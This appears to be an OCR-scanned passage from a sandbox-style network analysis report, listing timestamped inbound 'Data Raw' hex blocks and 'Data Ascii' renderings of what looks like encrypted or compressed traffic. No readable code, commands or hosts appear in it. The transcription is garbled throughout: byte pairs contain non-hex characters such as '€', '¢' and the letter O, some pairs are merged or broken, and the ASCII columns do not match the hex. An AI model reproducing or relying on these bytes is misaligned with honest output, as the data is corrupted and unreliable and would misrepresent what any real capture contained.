9d eb cf af a7 a9 b4 ff 25 60 9b e6 aa 75 f0 93 17 ba 38 51 7c d5 2b b2 c5 ac 6d 29 ef 25 58 bf 00 6a cf 38 c2 50 ef cf fa 9b
€0 18 5d 51 8f 5¢ 69 a7 ae 96 25 4d c6 be d3 64 4b b5 al 29 5e e2 f9 3b e7 a4 87 92 13 3f fe 04 8a 6e 8a eb 9e 8¢ 27 Oe
7ad4 e6 clc6 98 3a 12 5f d2 14 76 d5 c6 88 fe c7 0a 11 eb 1le 66 a6 77 d0 8b b8 2b 6f 00 29 59 aa f8 32 0a 5e 09 01 3b
a0 1f 86 c7 25 bb 25 ee 37 5e 97 81 d5 f9 72 ba b1 d7 eb 78 b2 e6 fb 6e 36 ab 86 16 3e d4 cd 3d b6 25 46 56 81 22 29 9b
1f 76 76 25 el 33 46 52 84 1a 8e 77 3c 3e 03 28 b5 fc 7c 18 a8 88 af 87 b5 87 95 8b 2¢ 22 73 bb ba 8d 5e 6b 79 34 81 3c
c3 7f 64 d1 6¢ ae b0 2a cd e8 49 8b 10 fa 29 05
Data Ascii: KQ#B m$z~8%’u8Q|+m)%Xj8P]Q\i%MdK)";?n'z:_viw+0)Y 2/;%%7 rxn6>=%FV")WW%3FRw<>(|,"s"ky4<dI*I)

2021-10-13 11:06:38 UTC 29 IN Data Raw: 54 Oe b1 29 26 b8 cf c4 4c 3d 7d cd €3 15 0d 36 3d 55 98 90 cd 10 b8 4b 5b a2 b4 4d 35 90 bl 79 f5 22 82 ba
ee 18 f0 9f f2 f4 94 eb c2 8f 07 78 13 05 09 cf bb cd 8b 9e 2b 90 ec dc de f8 ef 84 ef 94 1c 0f e5 6f 90 fb 53 bb 64 ea 9b 68
12 f352 46 6d 74 dO e5 ba 4b 51 91 7c 64 84 89 b6 8a 59 3 82 24 76 5a f2 ab 4a 48 9a 20 56 €6 db 5f 2b Oc d5 93 97 bd
51 0c 0d bf b1 21 06 f9 cO b9 c7 ca dd 63 d8 a2 48 7e e4 c8 91 50 33 f6 38 06 a7 6b fd ac b4 1c f4 af 1a 6e a5 9d 50 c3 88
8e c8 e9 Of 5e 3a dc f6 73 f5 3d 59 6f a5 f1 a4 8a cd 8d 45 4¢ 70 b4 dO 57 eb 27 47 ef 2a 94 7e 8a 21 92 30 9a 8e Oa 78 5b
b2 47 7d d7 70 4e cf ff b6 cO fa c2 d5 f4 a3 49 06 73 d2 82 3c cd ec e0 1c f5 30 c1 80 a2 54 b8 b7 82 e7 73 72 03 83 2b c9
2c ed 45 27 69 b8 f0 58 82 b4 23 d9 2d f8
Data Ascii: T)&L=}6=UK[M5y"x+0SdhRFmMtKQ|dY$vZIH V_+Q!cH~P38knP":s=YOoELpW'G*~!0X[G}pNIs<OTsr+,E'iX#-
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 31 IN Data Raw: e2 8d fO 14 1a 6f bb ¢5 81 cd 82 b4 0b a2 Ob cc a8 5c Ob d1 4e la ba 56 1b 53 56 fa f4 e4 c0 28 6d 50 79 7f c5
1d 57 3 8¢ 36 f8 9a 3a 70 fe d3 21 64 d0 a6 c2 b4 65 44 54 d7 01 ec 35 4e 11 44 53 62 82 99 a0 f1 b8 0a 70 c6 3d 5e 01
d9 64 29 da bc 94 b7 30 4b ca e9 f9 f1 8a b8 b0 34 5f ea 9b 74 a8 3c 5b 43 08 89 44 fd e5 33 fc ab 04 f3 12 9b 29 ea dc al
90 e0 a7 f0 2f 66 42 74 92 8b f1 ab 9f bd 29 57 7c 2d b3 b1 c5 ab 5d b0 e8 25 52 96 0f 62 de 35 cf cc ef 6d eb 91 e4 05 c0
65 99 5b 40 14 bf 9d 3c e3 c6 b9 dO 6f 6f b4 bl 29 5e e2 48 27 fd b1 80 81 a7 3f 3 13 96 50 8a ed 90 b2 Oc 31 7a de c1 72
da 85 b0 2f 44 dO 15 71 42 fa b1 7f ¢5 00 c7 ef 93 61 bd 5f c5 9f ac 35 6f 97 28 59 aa a4 31 Oa 5e 18 b0 2d ba Ob 9d d1 al
18 29 2f ac ed e4 a4 d5 ea 74 b8 b5 dO f4
Data Ascii: 0\NVSV(mPyW6:p!deDT5NDSbp="d)0K4_t<[CD3)/fBt)W|-]%Rb5me[@<00)"H'?P1zr/DgBa_50(Y1"-)/t

2021-10-13 11:06:38 UTC 32 IN Data Raw: cd 9b 86 67 94 c6 82 da b0 45 23 f6 73 f4 45 53 04 fc 9b 71 8a db 83 43 Oe 34 f9 2a 1b cf 28 7f 14 38 d6 eb 45
04 48 9f 7a 3d 7a 5e 3e a2 b9 b9 bb bc 69 df af 6¢ 5e 95 97 dc 8e 70 90 b7 90 fb 5d 43 7b 61 1e 21 b9 09 86 33 f3 dO b8
b2 1e be 3d 20 9c d8 cd 54 c9 6d e4 8 7a 1e 20 22 49 c3 cc cd 10 b8 51 60 bf 90 2a 04 6f b0 5f €6 17 9f 99 89 29 0f 9e d4
e7 9d fe 86 69 01 7a 76 58 2a d6 de cd 8a 9e 21 92 fe bl f5 ac ef 8e fe d4 Oa 1e fO f7 2b bf 32 ba 6¢ f8 76 4c 21 bf dd 7f 6¢
5¢ 9c f7 9b 50 59 93 4d 79 a5 97 be 34 70 c8 81 3c 70 29 df b3 b4 43 a5 02 5e ea d0 72 44 26 ce 6d 9c 82 7b 1a 45 d9 a2
20 0c eb db f6 d2 e0 c0 47 f6 a8 5e 86 8a 9c 93 47 35 e5 18 1a 48 6¢ c0 86 f0 24 de 1e Oa 9a a9 8c 76 f4 bf 9d ee b0 58
5e 3a d6 2a 74 ff el 6d 69 85 2d de 74 c7 53
Data Ascii: gE#sSESqC4*(8EHz=z">il"p]C{a!3= Tmz "IQ *0_)izvX*!+2IvLINPYMy4p<p)CrD&M{E G G5HI$vX :*tmi-tS

2021-10-13 11:06:38 UTC 33 IN Data Raw: 61 13 77 b5 92 3c a7 3c a0 96 31 34 bf 99 66 5¢ 86 dd 7e 79 1c 3e 45 18 57 3b 34 16 Oc 90 d7 bf 52 b6 cO dc
69 07 6¢ a2 f9 9f 57 07 40 2d 08 38 db 00 bf f9 78 2f 84 b5 05 f8 d3 85 cc 92 98 6d cf bc 89 b9 a0 95 65 da 01 7d Oe 95 6d
f1 d9 5b 99 00 4a bb d4 8e c1 bb 4f 0a 07 28 dd a3 Oc 91 f9 4e 32 2d 5¢ cb 4b 54 95 77 cc d4 22 60 53 df fc e4 e2 5d 87
9e 07 f3 a9 08 74 el df 41 3c d1 b7 c7 dO b3 d2 78 da 1a €3 42 46 28 91 a4 91 75 08 1e c2 48 0a 61 c9 13 47 d7 f9 4b 03
cd ca d9 3a 0f 41 b0 f1 d8 cb 3d 6e b2 ad 64 03 8c ae be c2 62 68 08 83 6d ad e3 25 el 20 d4 69 30 15 9e 5f 53 ac 99 f5
ac f6 al c0 65 7c 80 75 fa 94 1c b4 a7 e0 be f5 bc 06 71 36 7d b2 ee 3c 51 30 a4 b7 d6 bd 63 69 ff 6¢ eb 9a f1 24 cf 6¢c a7
4f 58 Oc bf ae 37 41 d7 fb c7 70 42 2e 9d 2d 66 c6
Data Ascii: aw<<14f\~y>EW;4RIIW@-8x/me}m[JO(N2-\KTw" S]tA<xBF(uHaGK:A=ndbhm% i0_Se|ug6}<QOcil$IOX7ApB.-f

2021-10-13 11:06:38 UTC 34 IN Data Raw: 25 99 11 ¢7 53 5e 7a 54 92 d6 50 f7 33 e0 70 7d 3d 7e 80 f5 9a 26 bc 86 25 28 2b dd 19 7e d7 7a 66 24 fe b6
ca c8c8fd 63 76 49 Oc 62 c9 ed a4 cd ec ea Of fe 23 ¢7 91 a9 b5 a9 bc Oc 71 1c db 03 9b 20 d8 38 93 82 27 69 b2 dd f6
5c a0 32 cd 58 c4 80 06 5a 89 69 47 75 ba 22 83 dd 9b a9 2e ef 86 c1 01 d9 28 88 99 4b 99 36 0d fb 62 33 {7 e2 58 31 b4
4b 73 55 9b cd a2 ee e0 67 79 32 bc 07 16 1d 54 d8 9a b8 27 a0 40 55 ed b8 5d da 07 bc 48 5d 81 ca 93 73 ab de 62 1c
02 3a2a 68 66 17 6b cb 00 8c 1e 82 7a 81 ed 91 cf 98 66 57 a3 f9 6b 62 86 31 7a 28 e0 a7 3b 27 28 24 4b b3 2b 27 da db
4b 03 6a b3 f5 87 59 9f e6 32 5¢ 8a d8 8a bf f9 72 3e 82 da 08 b8 88 a7 49 81 91 76 73 4f d2 b0 2e 28 61 09 15 54 61 cO
6d f1 8e fc Oa 18 6f c8 81 8e d2 81 59 07 9f 25 b2 f5 44 91
Data Ascii: %S"zTP3p}=~&%(+~zf$cvib#q 8'\2XZiGu".(K6b3X1KsUgy2T'@U]H]sh:*hfkzfWkb1z(;'($K+'KjY2\r>IvsO.
(aTamoY%D

2021-10-13 11:06:38 UTC 35 IN Data Raw: €6 94 38 5b 8c 8e 37 f6 a3 98 ea ea 2f f3 19 40 2c 91 ef a5 a2 89 61 2d de c0 da 17 86 ad 51 58 c2 18 6a 65 ee
99 ff db 00 c1 fb 1e 58 bd 45 9c 8b b6 21 47 34 28 5b a0 82 20 50 36 12 18 3c b1 18 97 db 9b 08 3d b3 21 c2 e4 €9 d4 f9
69 bd b2 b5 82 6d 9a f6 f4 1d 52 bd Ob 1b 33 dd c4 26 be 5b 52 41 90 2d 6e 12 1f 76 76 €8 d2 3e 55 53 86 17 €9 45 2a b3
26 3b b0 ec 6a 04 bf ea 9e 91 29 9c¢ 89 a6 97 4d 5a b0 ab 8a 59 fe 4d 50 ba 36 d5 ef 4f €8 Oa af ba 33 db 98 4a 8e 7f ca
25 db 332 66 3a 12 71 35 3c 89 3f 17 7f a6 4f 55 a3 a2 b0 9c d3 05 a8 17 47 0d df 62 38 d0 57 3e 69 f0 33 ab 4d 25 b0
a5 45 bd 74 c0 96 7d 13 34 0e 02 b6 d4 5 7d c0 Oc 85 9a 8d 55 02 2f a9 ac 0a d6 80 ad 42 78 fd bd 18 63 ed 6a de 77 d5
9c 86 6e 82 38 98 c6 b6 52 af f6 7a eb 01 ad 05 c1 8d
Data Ascii: 8[7/@,a-QXjeXE!G4(] P6<=!lmR3&[RA-nvw>USE*&;j)MZYMP603J%3f:q5<?0UGh8W>i3M%E}4}U/Bxcjwn8
Rz

2021-10-13 11:06:38 UTC 36 IN Data Raw: 71 e4 87 a0 13 8b d7 aa 4c 5d 80 15 40 cO db 79 5b 27 2a 92 b1l a8 5d 74 35 9d b0 27 06 e2 ef f9 3b cb {7 48
ee b3 4f 78 9a b7 8e 5a c7 e4 3c 18 be 4d ed 85 db 26 dd bf 11 b0 a3 a4 06 ee 8f 95 d4 96 a7 al c5 c9 21 67 f8 e3 51 6f
b4 d1 b0 al d2 5b 74 6d 59 83 d0 7f f1 35 6e cd 3a e4 7f 80 f5 be fa ac 9b 27 39 36 b5 51 81 d6 5¢ 4d 6¢ ec bl c0 ca c5 ca
fb 88 48 2a 71 €8 87 04 ac 12 1f e3 8b 40 c0 80 a8 8b cd b6 82 cc 70 76 06 b3 bc c9 2c fa 6f 27 69 a3 c0 5d 82 d1 23 d9
2d af 80 06 4a b3 6f 54 7e c2 1b f8 89 9a c¢6 7d c7 a7 cb dd c2 41 f9 8e 4c 1d 97 f8 7a 15 32 fd c0 65 20 b6 65 18 51 8a c2
8f fd ef 63 5b 44 95 92 1c 10 7a 67 8a b9 2d a3 52 98 ed b8 53 cb 78 8 4e 4c 81 a2 f0 76 25 63 25 cc 03 3a 2a 55 62 cd
64 c9 99 ed 7b 2d 65 8b d6 15 4a 97 43 75 bc d4 68
Data Ascii: qL]@y[*]t5';HOxZ<M&!gQo[tmY5n:'96 Q\MIH*q@pvV,0'iJ#-JoT~}ALz2e eQc[Dzg-RSxNLv%c%:*Ubd{-eJCuh

2021-10-13 11:06:38 UTC 38 IN Data Raw: 38 76 a9 12 91 23 08 83 68 8f 41 31 f6 ba fa cO 39 9b 23 84 f5 a4 8f f9 b2 90 51 76 4d 61 ee Oa f1 92 Oe ae 2e
7c Ob ef 3599 45 ab 75 ae e4 23 50 d1 Oe 60 de 39 d9 48 c0 42 eb 90 fd 23 d3 45 c6 55 40 b6 bf 9d 30 52 d3 a3 c3 fe e4
2e bf 13 4f e7 9 3f e0 ba 99 ae a6 3f fa 02 94 68 88 e0 98 a2 87 26 5e de c0 da d8 8b bb 3b 68 f2 18 60 45 c2 90 ef c2 08
c8 d1 af 66 bd 59 d5 83 af f7 54 3¢ 39 51 b1 85 ae bd 6¢ dd 00 3b 99 99 96 c0 al 21 a9 ea 2f d0 e3 5a c2 ed 78 a9 a2 a9
b4 6¢c 9a f6 24 44 30 bc 0a 01 3e d4 ce 2e 44 36 37 3b 93 29 01 8a 1f 76 67 b7 f5 3f 63 59 95 11 ¢9 63 2b a2 04 97 b4 fd
69 1e be 9b c7 f3 29 96 9c 8b al 20 73 b7 83 ae 4a fb 53 50 57 36 d5 e3 4b bb 62 af ba 3d bc d1 5b 8b 11 eb fa d1 3e cd
67 2c 7a 37 31 2a 92 e7 9f e2 c9 63 55 b3 a8 bb 40
Data Ascii: 8v#hA19#QvMa.|5Eu#P 9HB#EU@OR.O??h&"h EfY T<9QI;1/ZxI$D0>.D67;)vg?cYc+i) sISPW6EKb=[>g,z7
1*cU@

2021-10-13 11:06:38 UTC 39 IN Data Raw: 87 cc 11 ae 5a 79 b1 90 24 12 3 d9 73 f2 00 93 99 81 30 f1 99 8 9f 36 fc b8 bc 06 78 18 07 1b d5 d4 ba 8b 9e
21 d6 ce b3 e4 ef fc 8b c6 d9 Ob 1e el el 36 91 60 b7 9a el a4 43 04 a2 db e3 da 4b 28 f6 9b 5a 6b 80 47 70 a5 8e ac d1
8f 5 af 2a 7e 01 f8 aa 4a 48 b0 70 47 cO ca 62 57 2b d4 82 98 b2 88 1c 06 9c al 08 8¢ f2 e8 e4 d6 ce c6 58 f3 a0 59 7d
96 4e 90 7c 3c f3 1d 1f a5 68 ec 95 de 3c Ob ae 3c a4 af 8e 5e f1 8c 9f €8 ae 7c 5e 3a dc 45 b8 ff €3 4a 73 bc 2a bl 9¢ c2
44 aa 68 74 80 c8 44 e4 34 7f c2 0d 9a 80 81 d3 9b Of 7c 88 20 39 38 bd 54 7a d7 61 4b 63 01 b7 ec d2 b1 69 f4 76 43 Oc
6a d0 87 3c dc e9 ff 13 Ob 33 ed 8b b4 2e ad b7 82 ¢7 59 6d 13 88 2f ¢9 3d f9 5¢ d9 68 94 e4 5e 80 9e 7c da 2d f9 a8 22
5b a5 6f 39 ad cf 19 89 ¢7 89 ¢3 79 fe 83 d4 d7 36
Data Ascii: Zy$s06x!6° CK(ZkGp*~JHpGbW+XY}N|<h<</|M:EJs*DhtD4| 98TzaKcivCj<3.Ym/=\h"|-"[09y6

2021-10-13 11:06:38 UTC 40 IN Data Raw: f1 41 Oc 26 4d c3 5e 5f ec 73 dd dc 37 67 4c cd 5a cc 02 56 91 02 27 f0 8a 2b 6e e6 cf 2d 67 {8 a0 cc aa 91 47
6 6d Of fO f7 c9 fe 1c 85 9d 7d 87 a5 e0 a8 05 69 df 20 c2 48 c7 47 d9 e3 ae 8f 3b 05 38 5d €9 d1 43 99 be a5 33 5e fe 9b
74 a8 07 ea 4b 86 34 7d a2 6b 84 2c ab 08 69 ef 16 02 eb cf a4 82 fb bc 71 98 68 5d b1 90 70 e6 8d 14 95 3e 56 68 7 3a
a7 cc be 7d 2a 5f 34 5d 30 a4 bb f6 24 d5 41 e2 45 7c 90 f7 04 c0 68 8¢ 5b 7c Oc ae 98 59 d9 d6 b2 c1 1f 4b 39 8e 23 4d
e7 fb 32 de 35 91 85 85 24 2d 02 b9 da ac e6 89 ae 93 09 6e d4 e8 e8 cb 8e a0 e0 40 c5 32 60 4f ef 89 fe ¢c7 00 cl af 1e
€3 66 5f d5 91 b8 21 46 2f 18 5d a0 b1 20 Oa 5e 32 12 3c a0 1a bb c9 a9 63 f4 34 21 ¢8 f2 97 d6 ed 52 81 2e c6 €3 66 b2
bb f9 6e 3a be 64 89 3e d4 c6 3a ac 1c d8 41 90 2d
Data Ascii: A&M”_s7gLZV'+n-gGm}i HG;8]C3"tK4}k,igh]p>Vh:}*_4]0$AE|h[|YKI#M25$-n@2 Of IF/] *2<c4!R.fn:d>:A-

2021-10-13 11:06:38 UTC 41 IN Data Raw: d7 88 e3 f8 bd e5 df fa 09 93 ¢5 2a 70 76 b8 c9 e6 61 15 5a 9d 63 94 0f 49 e8 f7 aa db 26 83 0f 2a 7c 8d 59 bb
8f 50 a2 40 92 b6 bb d3 c8 42 38 6b 32 3e 7f 4c ad 1c f1 fO bb 4c 1f 98 2c¢ 3f bb d4 15 06 37 6¢ ca dd 10 29 20 28 5e b7 91
df 18 cc 28 78 b3 9a 31 1b 87 a3 7b 6 09 bb fa 81 30 f7 13 c7 e5 b6 fd be a0 17 7e 31 4e 2b d6 de f1 a4 99 27 8a 13 23 f1
f9 ef 9f f7 9¢c 79 88 €0 el 2d 87 75 ab 6e f2 al 65 62 b0 df 6b 45 e3 dO f6 91 4b 5d a6 24 76 a5 99 c6 52 70 e4 89 35 76 3b
fe 82 3b 41 89 00 6f 57 cb 7e 4e 3f fd bb ef ad 76 1b 45 0f a2 20 Oc e2 e2 fc ec e2 a8 48 f6 a6 60 ef 8a b0 9b 41 10 cd 64
02 b6 6b 83 1c da 26 ff be 1a a2 80 a4 03 ec 8f 99 c6 11 59 5e 30 ¢c7 03 5¢ 89 e0 40 6e c0 b7 b0 8d cd 42 5e 7b 71 ab a7
54 el 32 46 50 13 94 74 91 d6 ba 4f b3 88
Data Ascii: *pvaZcl&*|YP@B8k2>LL,?71) (*(x1{O~1N+#y-unebkEK]$VRp5v;;AoW~N?VE H Adk&Y 0\@nB*qT2FPtO
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kBytes
Timestamp transferred Direction Data

2021-10-13 11:06:38 UTC 43 IN Data Raw: 62 80 5a 50 1a e3 ac 38 0f Of 2b 4b b9 44 a5 da db 40 10 6d a2 {3 87 5e 89 7 1c d7 3d b7 19 ba f9 78 20 84 b5
75 a2 88 ad 5¢ 81 a8 60 7b 36 83 b0 2e 42 72 00 15 4b 1d 9e 55 f7 87 ef 05 09 71 b1 c9 70 d3 a7 4f 21 90 36 ce a9 44 80
3 40 0d 44 5d e7 48 6e Oa ed cc d4 37 75 49 5b 4b d5 17 42 99 60 37 d4 86 3d 64 e4 c6 2d 78 da b7 dc a0 8c bb 79 f6 13
8 3e d4 28 80 a4 82 77 78 a8 ce be 32 a2 cb 22 4c e0 d3 5b 09 cb a8 84 24 1c b5 cb c4 d8 7d 3b ba ba 23 cc c1 88 7e a9
05 e5 5b 6 82 40 be e7 e3 bd bc d2 7c 11 8f 29 eb c5 8d fb f2 b4 f5 07 66 4d 6b 8b 79 €9 81 Oe bd 38 5d 77 €0 cc b0 e9
a3 4d daea 2558 al 0d 72 d4 33 ¢5 4b f7 7d 15 91 db 1f d7 46 2c 5d 68 Of 33 26 36 41 d6 al c2 6f 42 2b 84 29 4f e9 f5
3b 08 a8 bd 8c b7 7c f1 13 9c ed 95 f5 83 a4 91 04 64
Data Ascii: bZP8+KD@m"=x u\'{6.BrKkUgpO!6D@D]HN7ul[KB 7=d-xy>(wx2"L[$};#~[@|)fMky8]wM%Xr3K}F,]h3&6A0B
+)O;|d

2021-10-13 11:06:38 UTC 44 IN Data Raw: el 23 ad 78 29 1f db 1b 8b bf 32 35 63 d2 d7 75 47 26 42 a3 4a f8 22 d0 96 77 cf 3c 09 6d db a0 f5 62 fO Oc 84
87 96 65 04 2f 6b ad 10 b3 e3 a3 42 69 e2 al 32 d8 e3 6a b3 2a 5b 95 86 68 aa 1c 83 6 b8 5f 27 de c3 eb 4c ab Oe a3 23
5a 8f €9 f2 bb 9e 18 ee 21 3a d6 25 6¢ 4d a7 f1 ab 6a 06 5e 85 70 09 3e d3 fb f2 ad 7 9b b3 0f 20 5a be 4d 87 a5 dd 9d 40
83 b3 de 76 5¢ 43 3e 72 19 ee bd 20 85 2b f3 d8 a5 5f 17 ba 07 38 90 d2 18 59 36 6¢ c8 e4 03 01 4c 21 4d b6 €8 4b 11 b2
5c 54 b6 a8 20 13 91 b1 62 e0 28 18 98 81 3a 9e 11 f9 e5 bc 93 21 a7 06 72 31 a2 2b d6 d2 f4 8f e0 b2 81 ce b9 e6 ff f9 of
9 ff 82 1f el e7 30 4e 6¢ aa 77 €9 b0 8a 0d b3 df 7c 6a 65 d8 de fa 59 74 88 3b ff a4 9f af d9 7b f5 84 35 75 01 b5 a9 4a
44 e6 8c 46 c0 cc 6d 4f 3f d2 87 63 af 67 1b
Data Ascii: #x)25cuG&BJ"w<mbe/kBi2j*[h_'L#Z!:%IMj*p> ZM@V\C>r +_8Y6ILIMK\T b(:!r1+ONIw|jeYt;{5SuJDFmO?cg

2021-10-13 11:06:38 UTC 45 IN Data Raw: 28 9c 89 5d 1e 90 6e 7a fb 30 fd cc 06 b8 b5 4d 66 43 80 d9 ae fc e2 4b cb 51 bd 01 73 9a 7d 4f 9¢ 90 95 a9 2f
cb fe b0 46 ¢1 17 53 4f 5d 8d a2 11 77 25 63 1b 9d 2c 3a 20 73 76 ed 7c af a2 1e 60 2c 56 a0 cf fe 95 99 6¢ 4c 82 c5 64
4a e3 34 52 1c 8c 2d 3c 0f 09 4b d3 b9 44 b5 cb dc 69 a7 6d a2 f5 85 56 98 f1 1d 5d 3c b7 29 92 ba 69 25 ac 3a 74 b8 82
80 67 83 90 4b 4d 53 a2 b2 2e 24 61 0d 15 50 1f 92 02 d9 86 ef 03 18 6d aa de el 6 89 4a Oc 9f 25 cc ab 2b b7 fb 5f 1c ab
51 e3 7e 55 fa e9 a3 fe 2a 6d 5¢ 57 5a c9 72 4b 86 9e 3c d0 af 2b 77 e7 ca 3a b5 df 92 5 9d 9b 45 72 c9 1e c8 15 de 28
9b 70 9d 6¢ 8a be 34 a4 06 70 c5 33 5f c1 24 b6 fc 34 a8 9f 2c d9 58 db f9 cO 54 98 36 0d 1c b5 2b 64 8b af 3e ef 43 08 82
70 a7 e5 33 f6 22 d2 75 90 9b 3b f1 cf a5 8e f3
Data Ascii: (JnzOMfCKQs}O/FSO]w%c,: sv|',VILdJ4R-<KDimV]<)i%:tgkKMS.$aPmJ%+_Q~U*m\WZrK<+w:Er(pl4p3_$4
XT6+d>Cp3"u;

2021-10-13 11:06:38 UTC 47 IN Data Raw: 6e 58 1f 76 76 af 96 3e 55 53 fa 09 9b 63 21 dc Oa 2a b5 fb 69 3d 1e 86 b9 96 46 bc 9a a3 89 24 78 6f be a5 60
cc 55 3f 9a 24 dc 96 6e c2 6¢ a8 bl 11 f0 9c 5b 81 ce el 23 f1 38 f1 61 2b 15 60 37 2a 6b c2 99 dd d3 63 54 a2 b3 8b 41
c9 48 ad 78 23 52 df 68 20 cc 88 3f 69 f0 e5 73 39 00 9d a3 48 fa 34 c2 96 71 e7 6f 0a 6d a8 fd ed 75 ea Oa eb 40 8d 55
Oa f1 ec 89 38 84 80 a3 48 74 d5 85 1a 63 e9 b4 b9 04 ab ba 87 6e 86 10 94 f4 b2 54 06 a5 79 eb 4a 85 1c d2 99 5c €0 25
f8 bc b 15 e0 04 18 f2 2a 7a 54 a4 el de 6b 06 54 4a 7f 1e 1a 48 f4 f6 bc 3 b3 84 0f 3¢ 72 93 46 a5 97 dc 9c 40 92 87 ad
€7 11 43 36 7b 1e 30 ae 1e 9d 1f f3 84 af 4c 1f cc 3f 38 81 ab 7f 4c 37 66 c2 f3 7a 06 21 22 49 98 90 ce 10 b4 72 20 b0 90
24 3a 89 b3 73 e2 6f 55 99 81 3a 2f 91 dd cd 81
Data Ascii: nXvv>USc!*i=F$xo0 U ?$nl[#8a+ 7*kcTAHX#Rh 2is9H4qomu@U8HtcnTyJ\%*zTKTIH<rF@C6{0L?8L7fz!"Ir
$:s0U:/

2021-10-13 11:06:38 UTC 48 IN Data Raw: 4f b1 26 b2 41 68 0d 63 58 68 {7 8e 4c db c2 d5 e5 70 58 Oe 64 ac Ob 3d cd ea f3 15 e4 34 d0 88 b8 cc 31 b6
82060 79 12 9d 3b c1 35 93 cc 26 69 be e3 52 93 bf Ob 56 2c ff 8a 2b 13 b4 6e 7e ee ce 19 89 f0 a5 d7 73 ¢7 09 ca dd
c2 03 b9 fc 6e 15 81 64 41 6e 22 f1 db 60 5d 9c 4f 60 56 9b c4 b6 e6 81 47 53 52 bb 16 10 01 76 20 bc ba 2d af 3e c1 c5
14 54 c9 05 c2 64 4e 85 da 84 66 29 06 1b b4 02 30 fe 76 45 3b 4a cf 8e 31 62 26 52 b9 e7 b9 9e 47 66 4c 83 c3 be 71 88
26 5a Ob f5 99 56 f0 fO db 63 14 47 bf dc a8 ¢5 11 6d a8 fb be 00 8a 7 33 fa a6 b7 23 b5 d1 e4 2f 84 bf 5d 2d 88 ad 57 fd
2d 66 7b 2a ef 37 2f 22 78 17 6b d5 0f 94 67 9e 0d ee 05 03 73 be fc 20 d1 8b 4c 79 Oa 29 dd a9 4c 80 fc 77 81 ba 5¢c c1
69 f9 f9 ef ca fc b3 6d 5a 5b 63 58 1d 5d 8d b6 a3 f8
Data Ascii: O&AhcXhLpXd=41"y;5&IRV,+n~sndAn""]O'VGSRv ->TdNf)OVE;J1b&RGfLO&ZVcGm3#/]-W-f{*7/"xkgs Ly
)LwiimZ[cX]

2021-10-13 11:06:38 UTC 49 IN Data Raw: dc c0 d6 d8 9a bb 2a 51 d0 77 47 4d ee 9f 91 ef 02 c1 ff Of 72 ac 4c ab a8 ba 21 41 5b Oc 5b a0 8a 31 1le 4f 01
7d 19 b3 18 91 af 8d Oe 3d 32 30 d6 cc 18 d7 f9 7e c6 93 c4 e3 6a 8b f8 e9 7a 5f aa Oa 11 34 c6 d4 06 7c 35 4a 4a bd be
df 84 0d 6e 82 91 ee 3f 55 42 fa 46 9a 63 21 6f 3d 2c 9f fd 6f 14 91 85 b9 92 29 6a 98 Oe 26 23 7d b1 ab 80 48 f9 55 e6 91
94 a9 e7 42 c0 6¢ ae ba 3b 8 0559 f3 01 e2 2a db 39 el 61 30 25 6a 31 62 99 3b 99 a2 c9 63 45 bc b8 36 69 c9 14 ac
6b 25 1d d9 7e 27 23 23 39 7e ec 73 64 41 34 8a 3f 5d d4 3a d6 0a 66 c9 26 1f f1 bf d3 ee 61 76 1d 82 9a 9b c9 11 29 ff
ba 8c a2 86 bd 54 e4 ec bb 05 6a 5 f6 a8 04 ca 9c 90 f2 93 3e 9c fd a4 ce 3f f0 65 e7 5a 31 14 d6 86 57 99 7f e9 ba ee c5
8 bd 21 ¢3 35 75 48 35 d8 e0 60 75 73 95 7f 12 3d
Data Ascii: *QWGMrL!A[[10}=20~jz_4|5JIn?UBFc!0=,0)j&#}HUBI;Y*9a0%j1b;cE6ik%~##9~sdA4?]:f&av) Tj>?eZ1
W!5uH5 us=

2021-10-13 11:06:38 UTC 50 IN Data Raw: Oc 84 9e 30 d0 99 2b 77 e7 b6 f4 6b dO bd 13 a4 be 6d 4f da 10 ea 21 f6 10 91 ae 97 a3 86 af 9c 9c Ob 61 cd

Oa 5b fd d8 4e 2b 9a ba 8e 3d 27 52 c8 e8 d7 2a 4c b8 ba 29 0d db be 5c 9e 14 ef 49 05 ab 54 a7 e5 39 28 bc d4 54 38 87
29 eb cf a5 89 f3 a8 dd 2f 79 57 6b 81 74 f0 92 34 bd 35 1b 68 f3 28 b1 c5 ab 6e 94 el 25 bc be 13 61 b2 33 d4 50 9b d7
eb 90 fd 04 af fd 8f 5¢ 62 09 c1 Oe 36 41 dd al c2 Oe 7d 39 8e 2d 76 f4 e8 36 fO a4 98 ad 4f 2d f3 15 b4 69 9b e6 83 8¢ 1c
Oe 7a d4 d3 d4 da 8a 82 0f 40 c3 12 4d 48 e8 92 23 65 02 c1 f9 0f 62 95 ca c4 8b b2 32 4f 25 20 71 61 8f 20 Oc 76 d8 13
3c bb 30 5¢ c1 ab 06 52 8 20 c2 ee b7 d2 f0 50 35 b9 c6 €9 44 8c fe f8 68 23 bb 1a 16 13 d3 ca 25 67 5d 48 40 90 31 10
8c 08 ac 6f 95 €3 34 6d 60 97 11 9a 72 23 9b ee 2b b5

Data Ascii: 0+wkmO!a[N+="R*L)\IT9(T8)/yWkt45h(n%a3P\b6A}9-v60-iz@MH#eb20% ga v<0\R P5Dh#%g]H@1o4m r#+

2021-10-13 11:06:38 UTC 51 IN Data Raw: 4f 9e 57 c8 33 49 ee 99 96 f1 b3 84 09 31 5a fc 5e be 97 d6 8¢ 4e fd 70 ad fb 57 79 95 9f el cf 71 13 bc 12 86
e3 af 4c 1e be 33 29 9e ad fe 4c 37 6d a7 a2 04 29 2a fe 93 a5 a2 e4 27 b2 5a 73 a0 9d 51 a8 91 bl 79 ef 28 ab 99 81 3a
2f 9d fe cf bl d6 ad a6 06 39 2d 14 2b d4 d4 e7 8a c7 21 81 ce d0 f4 f9 ef 32 ff 90 0Oa 08 el el 27 94 7f ba 64 e0 88 4d 0d
b5 df 6d 6d ba dO f6 9b 8e 75 8e 54 60 a5 9f a9 dO 71 e4 82 37 4c 2c d7 ae 4b 42 89 68 47 c0 db 68 57 2b ec 66 9d ae 76
1d 3b 92 bf de 07 df e4 8 c7 a5 12 4b f6 aa 7a 64 96 a3 94 50 28 e0 0f Ob 48 6¢ c0 8c d2 3c 23 a2 Of bb ba 89 76 fe 8a 81
10 87 74 6¢ 32 d4 23 6e 90 Oc 40 68 a5 30 al a5 e8 52 54 63 5b 85 c7 38 Oe 34 6e cd 3a 41 7f 80 f5 f3 1f 63 89 20 33 Of
66 46 7f dd 58 6a 7b ff bc cc ¢4 cb c6 f1 76 58
